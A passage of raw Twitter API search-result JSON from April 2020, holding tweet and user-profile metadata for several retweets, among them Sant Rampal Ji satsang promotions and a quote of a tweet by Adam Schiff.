417830403\\\/pu\\\/vid\\\/1280x720\\\/CbaIxgXze-LxTV3O.mp4?tag=10\"},{\"bitrate\":832000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254198673417830403\\\/pu\\\/vid\\\/640x360\\\/22fmow7vJ4LsuHtZ.mp4?tag=10\"},{\"bitrate\":256000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254198673417830403\\\/pu\\\/vid\\\/480x270\\\/gOkZOrWpiC1O2bra.mp4?tag=10\"}]},\"additional_media_info\":{\"monetizable\":false}}]},\"metadata\":{\"iso_language_code\":\"es\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1861130508,\"id_str\":\"1861130508\",\"name\":\"Jos\\u00e9 Urbina\",\"screen_name\":\"joseurbinasv\",\"location\":\"\",\"description\":\"Maestr\\u00eda en Comunicaci\\u00f3n y Postgrado en Comunicaci\\u00f3n Estrat\\u00e9gica UCA . El mundo cambia cuando los j\\u00f3venes se involucran.\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":4107,\"friends_count\":301,\"listed_count\":35,\"created_at\":\"Fri Sep 13 17:03:21 +0000 2013\",\"favourites_count\":17658,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":46439,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1236740297385705472\\\/IwgSDMrz_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1236740297385705472\\\/IwgSDMrz_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1861130508\\\/1583696141\",\"profile_link_color\":\"001EB3\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":13,\"favorite_count\":52,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"es\"},\"is_quote_status\":false,\"retweet_count\":13,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"es\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206656877133830,\"id_str\":\"1254206656877133830\",\"text\":\"RT @StrikeVixen: https:\\\/\\\/t.co\\\/ZaggN9dKcP\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"StrikeVixen\",\"name\":\"S T A R W I N D\",\"id\":192912527,\"id_str\":\"192912527\",\"indices\":[3,15]}],\"urls\":[],\"media\":[{\"id\":1254045904706965509,\"id_str\":\"1254045904706965509\",\"indices\":[17,40],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdEGyoXkAU6GZJ.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdEGyoXkAU6GZJ.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/ZaggN9dKcP\",\"display_url\":\"pic.twitter.com\\\/ZaggN9dKcP\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/StrikeVixen\\\/status\\\/1254045914391552000\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":678,\"h\":1280,\"resize\":\"fit\"},\"small\":{\"w\":360,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":636,\"h\":1200,\"resize\":\"fit\"}},\"source_status_id\":1254045914391552000,\"source_status_id_str\":\"1254045914391552000\",\"source_user_id\":192912527,\"source_user_id_str\":\"192912527\"}]},\"extended_entities\":{\"media\":[{\"id\":1254045904706965509,\"id_str\":\"1254045904706965509\",\"indices\":[17,40],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdEGyoXkAU6GZJ.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdEGyoXkAU6GZJ.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/ZaggN9dKcP\",\"display_url\":\"pic.twitter.com\\\/ZaggN9dKcP\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/StrikeVixen\\\/status\\\/1254045914391552000\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":678,\"h\":1280,\"resize\":\"fit\"},\"small\":{\"w\":360,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":636,\"h\":1200,\"resize\":\"fit\"}},\"source_status_id\":1254045914391552000,\"source_status_id_str\":\"1254045914391552000\",\"source_user_id\":192912527,\"source_user_id_str\":\"192912527\"}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":3165116835,\"id_str\":\"3165116835\",\"name\":\"Assassin's Creed: New Horizons\",\"screen_name\":\"drivebykissu\",\"location\":\"South Carolina, USA\",\"description\":\"\\ud83d\\udd1e ENFP-A \\ud83c\\udf15 Not so secretly a werecat and many hyenas \\ud83c\\udf16 Video games\\\/Art\\\/Memes \\ud83c\\udf17 i: @Poodlepoofs \\ud83c\\udf18 b: @094px \\ud83c\\udf11 @excaliburnina \\ud83d\\udc9c\",\"url\":\"https:\\\/\\\/t.co\\\/5VmnLtpyin\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/5VmnLtpyin\",\"expanded_url\":\"https:\\\/\\\/www.furaffinity.net\\\/user\\\/kejah\\\/\",\"display_url\":\"furaffinity.net\\\/user\\\/kejah\\\/\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":353,\"friends_count\":2893,\"listed_count\":0,\"created_at\":\"Mon Apr 13 18:55:51 +0000 2015\",\"favourites_count\":31707,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":12111,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"131516\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme14\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme14\\\/bg.gif\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1247058931773562882\\\/G7D5sJmV_normal.png\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1247058931773562882\\\/G7D5sJmV_normal.png\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/3165116835\\\/1573281071\",\"profile_link_color\":\"1B95E0\",\"profile_sidebar_border_color\":\"EEEEEE\",\"profile_sidebar_fill_color\":\"EFEFEF\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 13:53:39 +0000 2020\",\"id\":1254045914391552000,\"id_str\":\"1254045914391552000\",\"text\":\"https:\\\/\\\/t.co\\\/ZaggN9dKcP\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254045904706965509,\"id_str\":\"1254045904706965509\",\"indices\":[0,23],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdEGyoXkAU6GZJ.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdEGyoXkAU6GZJ.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/ZaggN9dKcP\",\"display_url\":\"pic.twitter.com\\\/ZaggN9dKcP\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/StrikeVixen\\\/status\\\/1254045914391552000\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":678,\"h\":1280,\"resize\":\"fit\"},\"small\":{\"w\":360,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":636,\"h\":1200,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254045904706965509,\"id_str\":\"1254045904706965509\",\"indices\":[0,23],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdEGyoXkAU6GZJ.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/EWdEGyoXkAU6GZJ.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/ZaggN9dKcP\",\"display_url\":\"pic.twitter.com\\\/ZaggN9dKcP\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/StrikeVixen\\\/status\\\/1254045914391552000\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":678,\"h\":1280,\"resize\":\"fit\"},\"small\":{\"w\":360,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":636,\"h\":1200,\"resize\":\"fit\"}}}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/about.twitter.com\\\/products\\\/tweetdeck\\\" rel=\\\"nofollow\\\"\\u003eTweetDeck\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":192912527,\"id_str\":\"192912527\",\"name\":\"S T A R W I N D\",\"screen_name\":\"StrikeVixen\",\"location\":\"\",\"description\":\"Designer, writer, creator and destroyer. She\\\/Her, aspergers, HFA, ADHD, Trans MtF Untransitioned, I block minors and so should you. Occasionally NSFW.\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":3775,\"friends_count\":1116,\"listed_count\":53,\"created_at\":\"Mon Sep 20 14:05:22 +0000 2010\",\"favourites_count\":109305,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":337243,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"304FCC\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme14\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme14\\\/bg.gif\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1181727163562811395\\\/UdfatoLk_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1181727163562811395\\\/UdfatoLk_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/192912527\\\/1570580687\",\"profile_link_color\":\"19CF86\",\"profile_sidebar_border_color\":\"FFFFFF\",\"profile_sidebar_fill_color\":\"EFEFEF\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":true,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"regular\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":144,\"favorite_count\":421,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},\"is_quote_status\":false,\"retweet_count\":144,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206656868528128,\"id_str\":\"1254206656868528128\",\"text\":\"RT @GituSharma16: #MustListan_Satsang \\n@SaintRampalJiM \\nMust watch sadna tv 7.30 to 8.30pmIST\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"MustListan_Satsang\",\"indices\":[18,37]}],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"GituSharma16\",\"name\":\"\\u2618\\ufe0fGitu sharma \\u2764\\u2618\\ufe0f\\ud83c\\uddee\\ud83c\\uddf3\\ud83d\\udcaf\",\"id\":1198984160951451648,\"id_str\":\"1198984160951451648\",\"indices\":[3,16]},{\"screen_name\":\"SaintRampalJiM\",\"name\":\"Saint Rampal Ji Maharaj\",\"id\":91851084,\"id_str\":\"91851084\",\"indices\":[39,54]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1229250035784699904,\"id_str\":\"1229250035784699904\",\"name\":\"Bhojram Sidar(\\ud83d\\udcafFB)\",\"screen_name\":\"Bhojram88825907\",\"location\":\"\",\"description\":\"\\ud83d\\udea9\\u0930\\u093e\\u092e \\u0930\\u093e\\u092e \\u0938\\u092c \\u091c\\u0917\\u0924 \\u092c\\u0916\\u093e\\u0928\\u0947 \\u0906\\u0926\\u093f \\u0930\\u093e\\u092e \\u0915\\u094b\\u0908 \\u092c\\u093f\\u0930\\u0932\\u093e \\u091c\\u093e\\u0928\\u0947\\u0964 must watch Sadhna tv channel night 7:30pm\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":507,\"friends_count\":470,\"listed_count\":0,\"created_at\":\"Mon Feb 17 03:44:14 +0000 2020\",\"favourites_count\":857,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":590,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1237321566867918848\\\/S3t1WwBW_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1237321566867918848\\\/S3t1WwBW_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1229250035784699904\\\/1585820547\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sun Apr 26 00:30:03 +0000 2020\",\"id\":1254206069217337344,\"id_str\":\"1254206069217337344\",\"text\":\"#MustListan_Satsang \\n@SaintRampalJiM \\nMust watch sadna tv 7.30 to 8.30pmIST https:\\\/\\\/t.co\\\/p69xnX78bI\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"MustListan_Satsang\",\"indices\":[0,19]}],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"SaintRampalJiM\",\"name\":\"Saint Rampal Ji Maharaj\",\"id\":91851084,\"id_str\":\"91851084\",\"indices\":[21,36]}],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/p69xnX78bI\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/SaintRampalJiM\\\/status\\\/1254204588133019648\",\"display_url\":\"twitter.com\\\/SaintRampalJiM\\u2026\",\"indices\":[77,100]}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1198984160951451648,\"id_str\":\"1198984160951451648\",\"name\":\"\\u2618\\ufe0fGitu sharma \\u2764\\u2618\\ufe0f\\ud83c\\uddee\\ud83c\\uddf3\\ud83d\\udcaf\",\"screen_name\":\"GituSharma16\",\"location\":\"Assam, India\",\"description\":\"\\ud83c\\uddee\\ud83c\\uddf3\\u092e\\u0928\\u0941\\u0937\\u094d\\u092f\\u0964 \\u091c\\u0928\\u094d\\u092e \\u0926\\u0941\\u0930\\u094d\\u0932\\u092d \\u0939\\u0948 \\u092e\\u093f\\u0932\\u0947 \\u0928\\u093e \\u092c\\u0930\\u093e\\u092e \\u092c\\u093e\\u0930\\ud83d\\ude4fonly sewa \\ud83d\\ude4f\\ud83d\\ude4f\",\"url\":\"https:\\\/\\\/t.co\\\/rwdohULLw5\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/rwdohULLw5\",\"expanded_url\":\"http:\\\/\\\/www.jagatgururampalji.org.com\",\"display_url\":\"jagatgururampalji.org.com\",\"indices\":[0,23]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":2747,\"friends_count\":2306,\"listed_count\":0,\"created_at\":\"Mon Nov 25 15:18:49 +0000 2019\",\"favourites_count\":2463,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":3474,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253690240029638656\\\/3aVMFiPH_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1253690240029638656\\\/3aVMFiPH_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1198984160951451648\\\/1587714561\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1254204588133019648,\"quoted_status_id_str\":\"1254204588133019648\",\"quoted_status\":{\"created_at\":\"Sun Apr 26 00:24:10 +0000 2020\",\"id\":1254204588133019648,\"id_str\":\"1254204588133019648\",\"text\":\"#MustListen_Satsang || Nepal 1 TV 26-04-2020 | Episode - 105 | Sant Rampal Ji Maharaj Satsang https:\\\/\\\/t.co\\\/xYaTSQ4vet\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"MustListen_Satsang\",\"indices\":[0,19]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/xYaTSQ4vet\",\"expanded_url\":\"https:\\\/\\\/www.pscp.tv\\\/w\\\/cXN6qjFwempNT1ZNcVpnUWR8MXZBeFJCcW1hZ0R4bD0OtZn8wclVZYmhDcmdSZkaTnB5cGWNjXxZ7o4ejlPd\",\"display_url\":\"pscp.tv\\\/w\\\/cXN6qjFwempN\\u2026\",\"indices\":[94,117]}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/periscope.tv\\\" rel=\\\"nofollow\\\"\\u003ePeriscope\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":91851084,\"id_str\":\"91851084\",\"name\":\"Saint Rampal Ji Maharaj\",\"screen_name\":\"SaintRampalJiM\",\"location\":\"Barwala, Hisar, India\",\"description\":\"\\u0905\\u092e\\u0930 \\u0915\\u0930\\u0942\\u0902 \\u0938\\u0924\\u0932\\u094b\\u0915 \\u092a\\u0920\\u093e\\u0901\\u090a, \\u0924\\u093e\\u0924\\u0948\\u0902 \\u092c\\u0928\\u094d\\u0926\\u0940 \\u091b\\u094b\\u0921\\u093c \\u0915\\u0939\\u093e\\u090a\\u0901\",\"url\":\"http:\\\/\\\/t.co\\\/q48PTmNW9Y\",\"entities\":{\"url\":{\"urls\":[{\"url\":\"http:\\\/\\\/t.co\\\/q48PTmNW9Y\",\"expanded_url\":\"http:\\\/\\\/www.jagatgururampalji.org\",\"display_url\":\"jagatgururampalji.org\",\"indices\":[0,22]}]},\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":50282,\"friends_count\":3,\"listed_count\":93,\"created_at\":\"Sun Nov 22 19:27:42 +0000 2009\",\"favourites_count\":634,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":2405,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"FFF04D\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme19\\\/bg.gif\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme19\\\/bg.gif\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1191924069840502784\\\/aA1V1BV__normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1191924069840502784\\\/aA1V1BV__normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/91851084\\\/1539069376\",\"profile_link_color\":\"0099CC\",\"profile_sidebar_border_color\":\"FFF8AD\",\"profile_sidebar_fill_color\":\"F6FFD1\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":47,\"favorite_count\":87,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"hi\"},\"retweet_count\":1,\"favorite_count\":1,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":true,\"quoted_status_id\":1254204588133019648,\"quoted_status_id_str\":\"1254204588133019648\",\"retweet_count\":1,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"lang\":\"en\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206656809926656,\"id_str\":\"1254206656809926656\",\"text\":\"CC: @ABC @CBSNews @NBCNews @MSNBC @CNN https:\\\/\\\/t.co\\\/Y6BpPdxQpa\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"ABC\",\"name\":\"ABC News\",\"id\":28785486,\"id_str\":\"28785486\",\"indices\":[4,8]},{\"screen_name\":\"CBSNews\",\"name\":\"CBS News\",\"id\":15012486,\"id_str\":\"15012486\",\"indices\":[9,17]},{\"screen_name\":\"NBCNews\",\"name\":\"NBC News\",\"id\":14173315,\"id_str\":\"14173315\",\"indices\":[18,26]},{\"screen_name\":\"MSNBC\",\"name\":\"MSNBC\",\"id\":2836421,\"id_str\":\"2836421\",\"indices\":[27,33]},{\"screen_name\":\"CNN\",\"name\":\"CNN\",\"id\":759251,\"id_str\":\"759251\",\"indices\":[34,38]}],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/Y6BpPdxQpa\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/RepAdamSchiff\\\/status\\\/1253481322141679619\",\"display_url\":\"twitter.com\\\/RepAdamSchiff\\\/\\u2026\",\"indices\":[39,62]}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"https:\\\/\\\/mobile.twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web App\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1181369330690342912,\"id_str\":\"1181369330690342912\",\"name\":\"Citizen, Interrupted (again)\",\"screen_name\":\"NYCwonk\",\"location\":\"Manhattan, NY\",\"description\":\"Don't blame me, I voted for the e-mail lady. \\nSame old me. New account. Who dis?\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":116,\"friends_count\":263,\"listed_count\":1,\"created_at\":\"Tue Oct 08 00:43:02 +0000 2019\",\"favourites_count\":1556,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":6591,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1229976132918939648\\\/KCJjWNUW_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1229976132918939648\\\/KCJjWNUW_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1181369330690342912\\\/1579923707\",\"profile_link_color\":\"1B95E0\",\"profile_sidebar_border_color\":\"000000\",\"profile_sidebar_fill_color\":\"000000\",\"profile_text_color\":\"000000\",\"profile_use_background_image\":false,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":1253481322141679619,\"quoted_status_id_str\":\"1253481322141679619\",\"quoted_status\":{\"created_at\":\"Fri Apr 24 00:30:10 +0000 2020\",\"id\":1253481322141679619,\"id_str\":\"1253481322141679619\",\"text\":\"A week ago I asked whether it was responsible to carry Trump\\u2019s nightly stream of consciousness on live TV.\\n\\nToday,\\u2026 https:\\\/\\\/t.co\\\/sXD3mko7y8\",\"truncated\":true,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/sXD3mko7y8\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/i\\\/web\\\/status\\\/1253481322141679619\",\"display_url\":\"twitter.com\\\/i\\\/web\\\/status\\\/1\\u2026\",\"indices\":[116,139]}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":29501253,\"id_str\":\"29501253\",\"name\":\"Adam 